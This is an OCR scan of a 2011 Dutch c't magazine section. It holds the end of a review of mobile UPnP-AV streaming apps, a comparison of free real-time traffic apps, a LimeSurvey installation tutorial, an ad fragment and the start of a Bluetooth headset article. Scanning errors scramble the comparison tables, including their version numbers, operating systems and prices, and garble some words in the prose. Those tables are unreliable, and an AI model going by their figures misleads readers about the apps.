Android. Net als bij de Eyecon- 
Troller kun je ook bier verschil¬ 
lende mediadiensten integreren. 
Telkens als je de app opstart 
doorloop je een procedure van 
drie stappen: je stelt de server 
en de client In en selecteert 
daarna een bestand om af te 
spelen. 

De verschillende online dten- 
sten zitten bij de eerste stap (het 
kiezen van een server) verbor- 
gen achter de knop 'Channels'. 
Hler kun je naast RevisionB of 
Picasa zelfs een Napster-account 
Invoeren. Het muziekabbon- 


nement kon met een UPnP-AV- 
beam overigens alleen met de 
Philips-tv en de Windows Media 
Player op de pc worden ge¬ 
bruikt. 

Het is wat lastig om naar een 
ander afspeelapparaat te swit- 
chen. Via het snel menu ga je 
weer terug naar de startpagina. 
Bezitters van bepaalde NAS-ap- 
paraten kunnen profiteren van 
bijzondere functies: heb je thuis 
een netwerkschijf die geschikt 
is voor Skifta, dan kun je ook 
onderweg media oproepen en 
via UPnP AV streamen. 

De geintegreerde server kan 
mediacontent ook in het net¬ 
werk aanbieden. Hierbij kun je 
instellen welke mediatypen er 
moeten verschijnen. Als je de 
optie 'Wi-Fi Roaming' bij de Set¬ 
tings inschakelt, stopt Skifta met 
delen op het moment dat je je 
bij een ander draadloos netwerk 
aanmeldt. 

Twonky Mobile 

^ PacketVideo is 
I Vf/ met deTwonky- 
Media-server op pc's een van de 
grotere op het gebied van UPnP- 
AV-streaming, Sinds kort is er 
ook een mobiele variant Twonky 
Mobile voor iOS en Android. Dat 
betekent meteen ook het einde 
voor Twonky Server die voor An¬ 
droid alt ijd gratis was. 

Twonky Mobile kan op An¬ 
droids 14 dagen gratis worden 
gebruikt De app wordt pas een 
volledige versie als je er een 
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Naam 


SPlayer 


a Media 
Control 



BolibieUPnP DiximDMC DLNA Remote EytconlroUcr EyeconTroMer Fusion Stream 



- 




|y 

ly 


U 



S 

Versie 

2.1.Z 

12 

T65 

1,02526 

1,10 

0.9,9 

122 

1.1 

2,5,4 

2S 

i.a 

Bestoringssysteem 

Iffi 

Android 

Android 

Android 

Android 

Android 

iOS 

iOS 

Amiroid 

iOS 

IDS 

fleamen van lokale media 

- 

- 

- 



- 

- 

- 

- 

- 

-- 

Gemteg reerde LfPnP-AV-server 

- 

- 

- 

v' 

- 



- 

4 / 



Wlan-afhankeiijlie sharing 

- 

- 

- 

- 

- 

- 

- 

- 

- 

- 

- 

Afspelen van Htterrve media 

v' 

✓ 






- 



n/ 

baeme player selecteerbaar 

- 




- 


- 

- 

- 

- 

- 

Playlists beheren 

v^’ 

- 

- 


- 


- 

- 

- 



Voitjme ext. tenderers regeibaar 

- 

✓ 


✓ 

✓ 






- 

Dndersteunde r enderers 












Philips Smart TV 


v/ 


- 


✓ 




v/ 

- 

Samsung Smart TV 


- 





v/ 

v' 

- 

V' 

- 

Philips Streamium 

- 



- 



- 





Windows Media Player 12 












WDTVLiveHub 



- 

- 








hijs 

€3,99 

gratis 

€m 

€2,75 

€2,99 

gratis 

€2,99 

€159 

gratis 

gratis 

gratis 


^ alleen tnuzfek ^ deelt aileen vastgelegde mappen ^ navigatie via complete besrands-tree ^ deeJt alleen foto's en mozlek aanwezig - niet aanwezfg g.o. geen opgawe 
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'licentie-app' bijkoopt. Vo or iOS 
is er geen testversre. Zodra je de 
app opstart is afles snel duide- 
lijk: eerst bepaal je welke media- 
types je in het lokale netwerk 
wilt delen err of het netwerk 
moet worden onthouden, Deze 
instelling moet je dus voor elk 
onbekend wlan opnieuw uitvoe- 
ren* Hlermee benadrukt Twonky 
Mobile dus overduidelijk de 
'beaming-mogelijkheden'. Pas 
bfj de volgende stap kun je ook 
andere servers in het netwerk 
bereiken. 

We hadden met de app vol- 
ledige controle over onze UPnP- 
AV-omgeving, ook al is de be- 
diening in het begin wat Jastig 
doordat de interface nogal wat 
mogelijkheden biedt In combi* 
natie met Samsungs Smart TV 
en de WD TV LiveHub kregen we 
lets unieks voor elkaar: toen we 
AVI-bestanden afspeefden, werd 
de 'beam' bij het switchen van 
het ene naar het andere appa- 
raat weer voortgezet op de plek 
waar die was gestopt Zo kun 
je een film met een druk op de 
knop in een andere kamer ver- 
der kijken. 

Als je een TwonkyMedia-ser* 
ver op je pc gebruikt, kun je de 
app gebruiken om je content 
automatisch te synchroniseren. 
Op die manier wordt op je pc 
automatisch een back-up van je 
foto's en video's gemaakt die je 
met je mobiete apparaat hebt 
gemaakt. Two nky Mobile kan net 
als (MediaShare content van een 
Android via Air PI ay streamen. 


UPnPPlay 

«i Op het eerste oog lijkt 
™ UpnPPlay niet bepaald 
spectaculair. Na het starten krijg 
je een vrij eenvoudig overzicht 
van a Me herkende UPnP-AV-ser- 
vers. De weergave wordt wat 
overzichteIIjkef in het land- 
scapeformaat op Androids met 
een diagonaal van meer dan 7 
inch, 

Als je wat beter kijkt blijkt de 
Engeistalige app toch het een en 
ander te bieden: bij de Settings 
zijn veel parameters te wrjzigen. 
Een van de leukste is dat mu* 
ziek nagenoeg zonder pauzes 
kan worden afgespeefd ('Nearly 
Gapless Play') en de automatlsche 
pauzefunctie bij een binnenko- 
mend telefoongesprek ('Pause 
External Renderer'). Als je op je 
Android ook de Last EM-app hebt 
geinstalleerd, kun je de muziek 
die via UPnP AV gestreamd wordt 
bovendien direct laten scrobblen. 

ZappoTV 

^ ^ Om de video-app 

I J ZappoTV en diens 

iPad-variant ZappoTV HD te kun- 
nen gebruiken, moet je eerst een 
account aanmaken, De dienst 
bundelt de content van YouTube, 
Facebook, Flickr, Picasa en Shout- 
cast met UPnP-AV-resources in 
het netwerk en geeft ze overzich- 
telijk weer, Er worden a! teen be- 
paalde UPnP-AV-renderers onder- 
steund. In onze test waren dat de 
WD TV Live Hub en Samsungs 


Smart TV. Een volledig overzicht 
staat op de website van ZappoTV* 

Zodra de app een renderer in 
het netwerk heeft herkend, krijg 
Je eerst een ZappoTVdogo over 
het hele scherm te zien, Vanaf 
dat moment bepaal je met de 
iPad wat er op de tv te zien Is* 
De app heeft een eigen oreview- 
venster. Pas als Je op de 
knop 'Play On' drukt, 
begint de weergave op 
de tv - bijzonder han* 
dig als je bijvoorbeeld 
door YouTube aan het 
struinen bent. Je kunt 
de tablet voor de pre¬ 
view gebruiken en de 
content daarna eventueel op de 
tv afspelen* 

De sociale netwerken zijn In 
de playersoftware geintegreerd* 
Een video van een UPnP-server 
kan van commentaar worden 
voorzien en op Facebook worden 
gezet - dan downloadt Zappo de 
video eerst naar het iOS-apparaat 
en uploadt die vervolgens naar je 
persoonitjke YouTube-account en 
koppelt die met Facebook 

ZappoTV somt onder 'Local 
Media Servers' alle medlaservers 
op* Ook de media van het iOS- 
apparaat zelf kunnen worden 
afgespeeld en naar de tv worden 
gestuurd. Het aanmaken van 
playlists voor muziek is echter 
wat omsiachtiger. 

Conclusie 

De geteste apps hebben het een 
en ander te biederi. Het is mooi 


dat uitgerekend de drie gratis 
apps EyeconTroller, Skifta en 
ZappoTV spannende extra func- 
ties bieden* Met ondersteuning 
voor veel online diensten en een 
makkelijke bediening van de 
content bieden ze aanmerke- 
fijk meer dan de eenvoudigere 
UPnP-AV-apps. 

Als |e alleen con¬ 
tent effect! ef wilt 
streamen en beamen, 
kun je het beste voor 
de klassieke Plug- 
Player of Twonky Mo¬ 
bile kiezen. Met name 
de laatste Is conse¬ 
quent gemaakt voor 
het versturen van content De 
Android-versie ondersteunt Air- 
Play en doorbreekt daarmee de 
bestaande barriere tussen con- 
currerende besturingssystemen 
- dat kan verder alleen IMedia 
Share* Als je graag content tege- 
lijkertijd naar verschfllende Ten¬ 
derers wilt streamen, zijn Bubble 
UPnP en AwoX mediaCTRL het 
overwegen waard. 

De apps konden als afstands- 
bediening in elk geval al onze 
servers bereiken. Bij de afspeel- 
apparaten gaat afhankelijk van 
de UPnP-AV-Implementatie niet 
alles vanzelf* Als Je wilt weten of 
de tv of H D-streamer in je woon- 
kamer probleemloos met een 
app bediend kunnen worden, 
zul je dat gewoon moeten ult- 
proberen. (mvdm) 

^ Softlinktl 12108 




■Media Share 
Premium 

-Media- 

Connect 

MLPlayer 

PlugPlayer 

PiugPlayer 

ShareMe- 

UPnP-Server 

Shifta Beta 

SoftMedia 
Player Pro 

Twenky Hotrile 

Twonky Mobile 

UPnPPlay 

yiplayer Pro 

ZappoTV HD 

IP 

81 




iS 

‘' 7 ^ 

aai 

o 

0 

u 

m 

0 

3.61 

111 

U2 

3J.0 

3.7.1 

1.4.8 

0.76 

1.0.5 

2.1 

2.1 

0.0.47 

1.7.2 

1,4.1 

Android 

m 

m 

Android 

iOS 

Android 

Android 

Android 

Android 

iOS 

Android 

Android 

iOS 


y 



- 

- 


a/ 

a/ 




a/ 




- 

- 

- 




a/ 

a/ 

- 

- 

- 

- 

- 

- 

- 

- 

a/ 

- 

a/ 

a/ 

- 

- 

- 

s/ 



a/ 


- 

a/ 

a/ 

a/ 

- 

a/ 

a/ 

A^ 

x/ 

- 

- 


- 

- 

a/ 


- 


a/ 

- 

- 

v" 

- 

a/ 


a/ 

- 

- 

- 

a/ 

a/ 

- 


- 

v" 


a/ 

^/ 

a/ 

- 

v/ 

✓ 

a/ 



- 

- 

a/ 

v/ 

a/ 


a/ 

- 

a/ 

a/ 


a/ 

s / 

- 

- 

a/ 


a/ 


✓ 


a/ 

a/ 



- 

- 

✓ 

a/ 

- 

a/ 

a/ 

a/ 

- 




a/ 

V 

- 

- 



a/ 


a/ 

- 



A^ 


V 

- 

- 

- 


- 

a/ 

v/ 

- 

- 

- 


- 

V 

- 

a/ 

€3,49 

€5,99 

€T99 

€3.99 

€3,99 

€3 

gratis 

€0,63 

€2,12 

€ 2,39 

gratis 

$4,90 

gratis 


dt 

c't2011.Nr. 12 113 




Reportage | Verkeersinformatie 


Filejagers 

Gratis realtime verkeersinformatie 

Fabrikanten van navigatiesystemen maken bij hun 
duurdere modellen reclame met realtime verkeersin¬ 
formatie. Maar die service wordt op smartphones ook 
gratis aangeboden via apps van zowel Google als tnrix. 


Achim Barczok, Axel Kossel 


M et navigatiesystemen en 
snnartphones kun je met 
bepaalde diensten via 
het gsm-netwerk live verkeers¬ 
informatie ophalen. Die info is 
actueler en nauwkeuriger dan de 
fllemeldrngen op de radio of via 
TMC (Traffic Message Channel) en 
dekt ook nog eens grotere delen 
van het wegennet af. Met HD Traf¬ 
fic biedt TomTom zo’n dienst sinds 
2008. Andere producenten als Gar- 
min, Navigon en Medion volgden 
later. Zij halen hun gegevens bij 
Inrtx of kaartproducent Navteq. 

Er zijn verschlllende manieren 
waarop realtime verkeersinforma¬ 
tie wordt aangeboden. Denk aan 
navigatiesystemen met een inter- 
netverbinding, via het op Nokia- 
mobieitjes geinstalleerde navi- 
gat ie programme Ovi Maps of als 
dure uitbreidingspakketten voor 
navigatie-apps. Maar voor iOS en 
Android zijn er ook twee gratis 
apps waarmee je de verkeers- 
stroom in realtime te zien krijgt: 
Google Maps en Inrix Traffic 

Dataselectie 

Om de actuele verkeerssituatie 
goed In kaart te brengen, moeten 


gegevens ult verschillende bron- 
nen gecombineerd worden. Denk 
bijvoorbeeld aan sensoren op de 
weg of redactioneel bewerkte file- 
meldingen van de ANWB. Je kunt 
de verkeersstroom nog directer 
analyseren met geanonimiseerde 
bewegingsprofielen van voertui- 
gen die voortdurend op de weg 
zitten. 

TomTom gebruikt daarvoor 
bijvoorbeeld de data van hun 
commerciele fleetmanagement- 
software en regelmatige positie- 
meldingen van navigatiesystemen 
met een gsm-module. Bovendien 
werkt TomTom samen met Voda¬ 
fone. Als een klant van deze mo- 
biele provider In het Vodafone- 
netvyerk belt, wordt zijn beweging 
door de gsm-cellen geanonimi- 
seerd doorgegeven aan TomTom 
en vervolgens met het wegennet 
vergeleken. Bovendien worden 
historische gegevens in de ver- 
keerssystemen opgenomen. 

Inrix en Google werken op een 
vergelijkbare maniet Inrtx haalt 
de gegevens onder andere ult de 
navigatiesystemen van Navigon 
en Audi. Bovendien worden smart¬ 
phones met gratis apps als inrix 
Traffic als sensor gebruikt. Inrix 



heeft ook banden met mobiele 
providers, waarbij ook data verza- 
meld worden van telefoons waar¬ 
mee niet gebeld wordt De gratis 
inrix-app gebruikt deze gegevens 
echter nog nIet Google profiteert 
van de vele Android-telefoons die 
door de aanwezige gps-sensor 
vaak een nauwkeurige positie 
kunnen doorgeven. Bovendien 
werkt Google samen met externe 
aanbleders, maar daarover wil het 
bedrijf geen details geven. 

Geanonimiseerde gegevens 
van gebruikers waarvan je niet 
weet welk vervoermiddel ze ge- 
bruiken of waarom ze eigenlljk 
stoppen, geven echter een minder 
duidelijk bee Id van de verkeerssi¬ 
tuatie. Naast het combtneren van 
gegevensbronnen is een analyse 
daarvan de belangrijkste factor 
voor de kwalltelt van de dien¬ 
sten. Elke aanbieder laat daarom 
verkeersonderzoekers en wis- 
kundigen aan een geheim recept 
werken dat hlervoor de uitieme 
oplossing moet bieden. 

Op de weg 

Inrix verkoopt gedetailleerde ver¬ 
keersinformatie aan bedrijven, 
maar biedt ook zelf een beperkte 
app zonder navigatiemodus aan. 
inrixTraffic geeft een overzicht van 
het verkeer: groen betekent door- 
rijden, oranje fangzaam rijden en 
rood stilstaan. Als de gegevens 
niet toereikend zijn om een be- 
trouwbare voorspelling voldoen, 
ontbreekt de markering. Als je de 
tijdlijn vooruit zet laat de app re- 
sultaten uit het verleden zien voor 
de geselecteerde tijd van de dag. 
Via een communityfunctie kun je 
ongelukken en fouten melden. 

Bij Google Maps kun je een ver- 
keerslaag toevoegen. Die werkt 
ook met verkeerslichtkleuren, 
maar gebruikt geen historische 
gegevens. Google gebruikt deze 
gegevens op An droid-smartpho¬ 
nes ook tijdens het navlgeren en 
bij het berekenen van de aan- 
komsttijd, maar niet bij het be¬ 
rekenen van de route. Ook als je 
expliciet om een afternatieve route 
vraagt, kom je af en toe In een al 
lang bekende file terecht. Ook 
houdt Google geen rekening met 
weg werkza a m h ed en. 

Beide apps dekken snelwegen, 
rijkswegen en grote verkeersaders 
in steden af Bij verschillende test- 
rltten vielen echter ook steeds klei- 
ne gaten, vooral bij Google Maps. 
Al met al lieten de twee apps via 
het verkeerslichtsysteem goed 
zien op we Ike wegen het op dat 


De gratis apps Google Maps Navigation en InrixTraffic kleuren de 
wegen afhankelijk van de verkeersstroom groen, oranje of rood. 



moment druk was en waar niet 
Hlerbij liepen ze altljd minimaal 
vijf minuten achter, live Is dus rela- 
tief Maar toch zijn beide systemen 
heel gevoelig. We zijn geen enkele 
keer een verkeersopstopping te- 
gengekomen die niet weergege- 
ven wend, maar konden wel soms 
duidelijk beter doorrijden dan de 
meldingen deden vermoeden. 

Bij langere rltten bleken de 
apps minder nuttig. Vaak kun |e 
namelijk niet herkennen wat de 
reden voor een storing is: weg- 
werkzaamheden, een botsing of 
alleen drukte door de spits. De 
Inrix-app heeft heel af en toe wel 
eens communityberichten, maar 
bij de meeste storingen bleef het 
gissen. Als je de actuele verkeers¬ 
situatie vergelijkt met de norm ale 
situatie op dat tijdstip, kun je daar- 
uit opmaken of er zich lets onge- 
bruikelijks voordoet, bijvoorbeeld 
een ongduk. 

We hebben de twee gratis apps 
ook vergeleken met het navlgatie- 
systeem TomTom GoLive 1005 met 
HD Traffic Daarbij krijg je geen 
overzichtskaart met het stop lie ht- 
systeem, maar worden alle plek- 
ken op de kaart waar het verkeer 
op dat moment stokt gemarkeerd 
met verschillende symbolen. 

Bij de testritten hleld het navi- 
gat lea pparaat bij het berekenen 
van de route heel betrouwbaar 
rekening met de meldingen en 
kreeg je bij langere files zinvoile 
alternatleve routes aangeboden. 
Als de verkeerssituatie verandert, 
dan kun je ervoor kiezen om de 
route opnieuw te laten bereke¬ 
nen. HD Traffic geeft In veel geval- 
len details, bijvoorbeeld het soort 
verkeershinder, de lengte van het 
traject en de vertragingstijd. Maar 
ook TomTom sfoeg regelmatig 
loos alarm. Vooral klelne haperin- 
gen in de avondspits waren vaak 
weer opgelost op het moment dat 
wij op de betreffende pfaats arrl- 
veerden. 

Concluste 

Met Google Maps en Inrix Traf¬ 
fic kun je voor rlnen op bekende 
trajecten de actuele verkeerssitu¬ 
atie checken en je route op basis 
daarvan zelf plannen. Het vlel ons 
op dat detwee systemen vaak van 
menlng verschilden. Ze hadden 
het affebet wel eens mis. TomTom 
HD Traffic overdreef minder en le- 
vert meer details bij de fileberlch- 
ten. Maar je kunt de dienst tot op 
heden alleen via een webbrowser 
(www.tomtom.com/livetrafflc) 
gratis gebru!ken. (mja) dt 
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Praktijk 1 LimeSurvt! 



Andrea Muller 

Vragenrondje 

Enquetes voor je eigen website maken met LimeSurvey 

Bevalt mijn nieuwe website? Was het 50-jarig jubileumfeest van de voetbaldub 
een succes? Zet een enquete online en krijg een antwoord op al dit soort 
vragen. Met LimeSurvey is dat in een handomdraai gefikst en in je eigen 
webspace ingebouwd. 


m de meningen van een grote groep 
mensen te peilen is een online en¬ 
quete een voor de hand llggende 
keuze. Het enige dat je nodig hebt om aan 
zo'n enquete deel te nemen, zfjn een inter- 
netverbinding, een webbrowser en wat tijd, 
A(s exploltant van een website, online shop 
of forum, maar bijvoorbeeld ook als vereni- 
gingsbestuur kom je op deze wijze snel en 
gemakkelijk aan feedback, om je aan bod te 
verbeteren* 

Als het om een enquete voor prive- 
doeleinden gaat, vallen betaalde diensten 
meestal af. Maar ook gratis online diensten 
zijn niet per se een optimale opiossing. Een 
aantal van die opiossingen worden door 
pop-up reel a m e g ef i n a nci e rd, waa rd oo r vee I 
enqu^tedeelnemers na het beantwoorden 
van slechts enkele vragen al afhaken, Zelfs 
als dat niet gebeurt, blijft het vervelend dat 


Je dit soort enquetes grafisch niet kunt aan- 
passen of kunt uitbreiden met nieuwe typen 
vragen, Bovendlen zlt je met het onbehaag- 
lijke gevoel dat de gegevens van je enquete 
op een wifdvreemde server staan. 

Als je dat allemaal niet wilt, zlt er niets an- 
ders op dan een eigen enquete op je web¬ 
site te maken. Met LimeSurvey heb je daar 
geen HTML-, JavaScript- en databasekennis 
voor nodig. De in PHP geschreven software 
biedt ender andere 20 gangbare vraagtypes, 
waaronder enkel- en meerkeuzevragen en 
matrix vragen Je kunt er geprlnte versies van 
de enquete mee maken voor deelnemers 
zonder Internaanslulting, of muttimedla- 
content in enquetes inbedden. Er Is een 
tern plate-editor voor het aanpassen van de 
weergave en verschillende expo rtf uncties, 
waaronder ook een grafische weergave van 
de resultaten. 


LimeSurvey installeren 

De installatievoorwaarden van LimeSurvey 
zijn bescheiden en onder Linux kun je met- 
een met de geintegreerde tools aan de slag* 
Voor het installeren van de enquetetool heb 
je een Webserver nodig als Apache met ge- 
activeerde Mod-PHR PHP vanaf versie 5.1.2 
en MySQL vanaf versie 4.1.0. Als database- 
server kunnen ook PostgreSQL vanaf versie 
8.1 of Microsoft SQL Server 2000 worden 
gebruikt Naast PHP zelf moeten bovendien 
de modules php-mbstring en php-mysqi 
gelnstalleerd zijn. Optionee! kun je ook de 
pakketten php-gd, php-imap en php-zip in- 
stalleren. Met name het eerstgenoemde pak- 
ket is een aanrader, omdat het onder andere 
voor grafische analyses gebruikt wordt. Voor 
tokale tests op WIndows-systemen adviseren 
de makers van LimeSurvey Xampp, dat met 
de vertrouwde Windows-installatieroutine 
een lokale Webserver met Apache, Mysql, 
PHP en Perl installeert. 

Als eenmaal aan deze voorwaarden is vol- 
daan, is de installatie snel voltooid. Down¬ 
load om te beginnen het programma van 
de LimeSurvey-websIte (zie softllnk aan het 
eind van dit artikel) en pak het uit in de do- 
cumentroot van je Webserver. Hierbij krijg 
je de subdirectory Itmesurvey. Als je geen 
rootserver hebt, pak je het archief lokaal uit 
waarna je het met een FTP-cHent op je Web¬ 
server zet. Let er wel op dat je de binaire 
overdrachtsmodus klest. 

Voorwerk 

De eigenlijke installatie voer je dan via de 
webinterface in de browser uit Om dat 
probleemloos te laten verJopen, moet je 
eerst het bestand config.php in de direc¬ 
tory limesurvey bewerken. Als je met een 
MySQL-database werkt, hoef je alleen maar 
het wachtwoord van de databasebeheerder 
'roof op te geven. Zet dat in de volgende 
regel: 

$datab3sepass = ’wachtwoord'; 

Nadat het installatiescript doorlopen is, kun 
je om veiligheidsredenen ook een normale 
gebruiker met het commando 

GRANT ALL on limesyrvey." to gebmikersnaam^host 

IDENTTRED by wachtwoord' 

in de MySQL-sheli de rechten op de database 
limesurvey geven en zijn gebruikersnaam en 
wachtwoord In het bestand config.php invoe- 
ren. 

De volgende stappen vinden plaats in de 
webbrowser, waar je naar het ad res http:// 
m ij n se r ve r. n J /I i m es u r vey/ad m i n /i nsta 11 / 
index*php gaat Om te beginnen genereert 
de set-uproutine na een klik op ’Create 
database’ de LImeSurvey-database, Vervol- 
gens maak je de tabeilen van de database 
aan met een kltk op 'Populate database’. 
Daarmee is de installatie voltootd en via de 
knop 'Main admin screen' kom je bij een 
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infornnatiepagina die je erop wijst dat je de 
L i m eS u rvey■ install atled i recto ry (I i mes u rvey/ 
admin/installj moet verwijderen of hernoe- 
men voordat je je kunt aanmelden. Als dat 
is gebeurd, kom je bij de beheerinterface 
via http://mijnserver.nl/limesurvey/admin/ 
admin,php. Met standaardwachtwoord voor 
de gebruiker admin is password en Lime- 
Survey vraagt je na het inloggen om dat te 
veranderen. 

Dat doe je op de pagina die je via het 
sleLitelplctogram bereikt. Klik daar op het 
potloodpictogram voor de gebruiker admin 
en voer een nieuw wachtwoord in, Je kunt 
bovendien voor het e-matladres een gel- 
dig ad res invoeren. Als meer gebruikers het 
recht moeten krijgen om enqueteste maken, 
kun Je ze hfer toevoegen door hun namen, 
e-mailadressen en wachtwoorden in te voe- 
ren. De detail!nstellingen vul je daarna via de 
pictogrammen links van de gebruikersnaam 
in: via de moersleutel stel je in of gebruikers 
alleen enquetes mogen maken of ook zelf 
andere gebruikers mogen aan maken, Achter 
het symbooi rechts daarnaast zitten de sja- 
bloonprofieien die bepalen welke enqu^te- 
ontwerpen een gebruiker mag veranderen. 

Voor je je op de eerste enquete stort is 
het verstandig om nog een blik te werpen op 
de algemene (nstellingen, die je bereikt via 
de gekruiste hamer en moersleutel. Op het 
tabblad ’General’ kun je LimeSurvey bijvoor- 
beeld omzetten naar Nederlands en bepalen 
welke opmaak het programma bij nreuwe 
enquetes standaard moet gebruiken, Boven¬ 
dien kun je de tijd aanpassen, waarna Lime- 
Survey je automatisch afmeldt als je niets 
doet - de standaardwaarde staat op 3600 
seconden. Daarnaast moet je op het tabblad 


'Email settings' een geldig adres voor e-mails 
aan de beheerder en de SMTP-server invoe- 
ren die de berichten in ontvangst neemt en 
doorstuurt 

Enquete opzetten 

Met LimeSurvey kun je een willekeurlg 
aantal enquetes maken, die je via het drop- 
downveld rechtsboven in het Hoofdbeheer- 
scherm selecteert. Met een druk op de knop 
met het plusteken rechts daarnaast maak je 
een nieuwe enquete aan. In het vofgende 
scherm vul je op het tabblad 'Algemeen' 
eerst een welkomst- en een eindebericht 
in. Daarna voIgt de taal van de enquete en 
een e-mailadres voor het contact. Het veld 
'Afsluiting URL' is bedoeld voor de uri waar 
deelnemers na het invullen van de enquete 
naartoe worden gestuurd. De instellingen op 
de andere tabbladen kun je voor een eerste 
test negeren. Zo legt het tabblad 'Pubtica- 
tie & Toegangscontrole' de begin- en eind- 
datum van een enquete vast. Je kunt daar 
ook aangeven bij welke acties de gebruiker 
een captcha moet overtypen en LimeSurvey 
opdragen een cookie te plaatsen om het 
meer dan een keer deelnemen te faemoeilij- 
ken. Alles voor het instellen van de enquete 
vind je op het tabblad 'Presentatie & Naviga- 
tle', Daar selecteer je een opmaak en besltsje 
of LimeSurvey elke vraag op een aparte pa- 
glna weergeeft of g roe pen vragen of de hele 
enquete op ^^n pagina laat zien. 

Als je de algemene instellingen hebt op- 
geslagen via de knop 'Bewaar' onderin het 
Beheer-scherm, verschijnt er een extra knop- 
penbaik waar je met het plussymbool de 
vragengroepen van je enquete kunt maken. 



In het overzicht krijg je via drie werkbalken toegang tot de algemene instellingen van de 
enquete, de vraaggroepen en de vragen. 


Zo'n vragengroep is snel gemaakt omdat 
voor de aanmaak van elke groep alleen een 
titel en een beschrijving nodig zijn. Eenmaal 
opgesiagen, verschijnt de volgende knop- 
penbalk, waarmee je de vragen van de op 
dat moment geselecteerde groep invoert. 
Via het drop-down menu van de groepen- 
balk kun je tussen verschillende groepen 
switchen. 

Voor elke vraag moet je om te beginnen 
een vrij te kiezen code tnvoeren. Dat word! 
in de LimeSurvey-database de primalre sleu- 
tel. Het navigeren tussen de vragen wordt 
eenvoudiger als je daar een beschrijvende 
term voor kiest. In de volgende twee velden 
zet je de vraag en optioneel een helptekst. 
Via het menu 'Type vraag' stel je vervolgens 
het soort vraag in, Je kunt kiezen uit 28 
typen, waaronder vragen waarop maar een 
antwoord mogelijk is (via een drop-down- 
lljst, radioknoppen, lijsten, etc), meerkeuze- 
vragen (met en zonder commentaar), open 
vragen (korte tekst, lange tekst), matrix- 
vragen (array) waar mensen bljvoorbeeld 
rapportcijfers kunnen geven voor afzon- 
derlijke optles en 'mar keer vragen', oftewel 
voorgedehnieerde maskers (ja/nee, geslacht, 
getalinvoer). Zodra je de muis over een van 
de vraagtypen beweegt, laat LimeSurvey 
een previewvenster zien. Als je er een geko- 
zen hebt, leg je vast of dit een verplicht in te 
vullen vraag is en doeje met 'Toon speciaie 
instellingen' de laatste Instellingen voor je 
vraag, 

Zo kun je bij meerkeuzevragen bepa¬ 
len hoeveel opttes iemand maximaal mag 
aankruisen - de bijbehorende helptekst 
vult LimeSurvey automatisch aan in de eer- 
der gekozen enquetetaal. Bij alle vraagty¬ 
pen die extra invoer verwachten - zoals de 
antwoordmogelijkheden bij meerkeuze¬ 
vragen - verschijnt die invoermogelijkheld 
pas nadat de vraag is opgeslagen. Klik hier- 
voor op het tabelsymbool midden op de 
knoppenbalk van de vraag en voeg via het 
plusteken en de invoervelden de gewenste 
antwoorden toe. Met een klik op het tand- 
wielpictogram kun je altijd de afzonderlijke 
vragen, vraaggroepen of de hele enquete 
testen. Als er dan lets veranderd moet wor¬ 
den, kun je elk element van de enquete - 
met uitzondering van de taal - achteraf via 
het potloodje bewerken. 

Als je klaar bent, activeer (publlceer) je 
de enquete via een klik op het groene pijl- 
tje rechts van het rode vierkantje. Test de 
enquete van tevoren ultgebreld. Je kunt en¬ 
quetes die online staan op elk gewenst mo¬ 
ment deactiveren om er bijvoorbeeid extra 
antwoordopties aan toe te voegen, maar 
extra vraaggroepen of vragen gaat niet. 

Om aan de link naar een gepubliceerde 
enquete te komen, selecteer je de enqudte 
in het Beheer-scherm. Je kunt zowel bij af- 
gesloten als nog lopende enquetes op elk 
moment via het pictogram met het taartdia- 
gram de statistleken bekijken. Een klik op ’Re¬ 
sponse s St statistle ken' in het pull-downmenu 
opent een overzicht waar in LimeSurvey het 
aantal deelnemers laat zien, Ook voor het 
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analyseren van een enquete meet je faij het 
taartdiagramsymbool zijn. Op de analyse- 
pagina bepaal je of je alleen een numerieke 
of ook een grafische evaluatte wilt hebben 
en of LimeSurvey de resultaten in een HTML-, 
PDF- of Excel-be stand meet exporteren. Als 
je alleen de antwoorden op afzonderlijke vra- 
gen of vraaggroepen wilt anatyseren, kun je 
de selectie in het gedeelte 'Response filters' 
onder aan de pagina inperken, 

Bijschaven 

Zelfs bij eenvoudige enquetes loop je al 
gauw tegen het feit aan, dat het - afhankelijk 
van de gegeven antwoorden - zinloos ts om 
bepaalde vervolgvragen te stellen. lemand 
die net heeft ingevuld dat hij niet met Linux 
werkt, hoef je niet naar de gebrulkte distri- 
butie te vragen, LimeSurvey lost dat soort 
zaken op met voorwaarden. Om zo'n voor- 
waarde aan te maken, selecteer je de betref- 
fende vraag in het drop-downmenu en kfik 
Je in de knoppenbalk op het derde picto- 
gram van rechts. Op de volgende pagina kun 
je een of meer voorwaarden opgeven waar- 
onder LimeSurvey de geselecteerde vraag 
laat zien. 

Als je je enquete optisch wilt aanpas- 
sea al is het maar om het LimeSurvey-logo 
te vervangen door je eigen logo, is dat ook 
geen probleem: met een klik op het kwast- 
symbool in het Hoofdbeheerscherm kom je 
bij de Sjablooneditor, waar je desgewenst 
eigen sjablonen [templates) kunt maken of 
de bestaande kunt aanpassen. 


Als je met het bewerken van een meege- 
leverd sjabbon wilt begin nen, moet je die 
eerst via de link boven in de Sjablooneditor 
kopieren- Daarna verschijnt er een bewer- 
kingsvenster met twee delen: boven de 
editor, onder een preview* Voor het bewer¬ 
ken van templates moet je basiskennis van 
HTML en CSS hebben. Voor het verwisselen 
van de logo's Is dat niet nodig. Rechts In de 
Sjablooneditor staat bij 'Andere bestanden' 
een lijst van alle afbeeldingen die bij het 


ontwerp Horen* 8lj de template 'citronade' 
zjt het LimeSurvey-logo bijvoorbeeld ver- 
borgen in het bestand logo.png, dat in de 
Document Root van de Webserver in de map 
I i m e su rvey/ u p I oad/te m p lates/ko pie_va n_ci - 
tronade staat. Vervang dit bestand gewoon 
door je eigen bestand met dezelfde naam 
en je enquetes krijgen een persoonlijk tintje. 

(jmu) 

4 Softlink 1112116 dt 



Voor de Sjablooneditor moet je 
basiskennis van HTML en CSS hebben. 


118 


c't 201TNr. 12 






























































































TEGENWOORDIG 
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Simpelweg gaon zitten Is in de milteubescherming een bewezen siLicj|jjp|[ 
cesstrategie. Mer de EcoView-LCD's van EIZO zit men er qua milieu ^ 
bijzonder goed bij. Want dankzij EcoView-technologie wordt het ener- 
^ gieverbruik tot rond de 50% gereduceerd, Bijvoorbeeld 
I door de heldere^ extreem zuinige LED-backlights van de 
I i EV2313W, En zelfs voor meer informatie hoeFt men nu niet 
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Hifi zonder dfaad 


Bluetooth-headsets met kwaliteitsgeluid 


Alsje onderweg in de trein, bij het sporten offietsen ongestoord van muziek wilt genieten 
zonder gefriemel met hinderlijke draden, kun je daar een Bluetooth-headset voor gebruiken. 
